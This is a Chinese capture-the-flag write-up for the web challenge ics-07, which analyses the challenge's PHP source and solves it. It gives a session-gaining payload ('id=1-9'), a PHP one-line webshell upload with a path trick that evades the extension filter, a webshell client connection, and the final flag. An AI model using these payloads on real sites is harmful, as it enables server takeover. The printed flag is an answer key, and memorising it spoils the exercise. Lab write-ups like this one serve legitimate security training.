攻防世界web ics-07

攻防世界web  ics-07

 

 

打开环境 根据提示找到

攻防世界web  ics-07

 

 

得到网站源码

攻防世界web  ics-07

 

 
这源码分为三段

一段一段分析

 

攻防世界web  ics-07

 

 

第一段:

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
      include(‘flag.php‘);
    }else {
      header(‘Location: ?page=flag.php‘);
    }

    ?>

参数 page 存在 且 参数page不等于index.php  才包含flag.php

 

攻防世界web  ics-07

 

 

第二段:

 <?php
     if ($_SESSION[‘admin‘]) {
       $con = $_POST[‘con‘];
       $file = $_POST[‘file‘];
       $filename = "backup/".$file;

       if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename)){
          die("Bad file extension");
       }else{
            chdir(‘uploaded‘);
           $f = fopen($filename, ‘w‘);
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

session["admin"] 要拿到admin的session,  将$con 的内容 写到$file  

 if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename))  过滤掉后缀 是 .php3,.php4,.php5,.php7,.t,.tml

chdir(‘uploaded‘); 这里切换了路径 真实的路径在 uploaded下面

 

攻防世界web  ics-07

 

 

 

第三段:

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
        include ‘config.php‘;
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id=‘$id‘";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION[‘admin‘] = True;
      }
     ?>

id 存在   ,floatval($_GET[id]) !== ‘1‘  浮点不为1  ,substr($_GET[id], -1) === ‘9‘  最后一位为9

 

三段代码分析结束了,

 

首先我们要得到admin 

构造payload: ?page=flag.php&id=1-9&submit   (page为flag.php,使用1-9来绕过第二端过滤)

攻防世界web  ics-07

 

 

第二步:

我们要写入一句话木马

con为 文件内容  file为文件名  post上传

构造payload: con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/..

攻防世界web  ics-07

 

 

 

攻防世界web  ics-07

 

上传成功

使用蚁剑连接

攻防世界web  ics-07

 

 

攻防世界web  ics-07

 

 

得到flag

cyberpeace{c4c0ee17bb51a571444ffb3edc04a087}

 

攻防世界web ics-07

上一篇:OPNET之processor与queue


下一篇:mysql 插入汉字 Incorrect string value 解决办法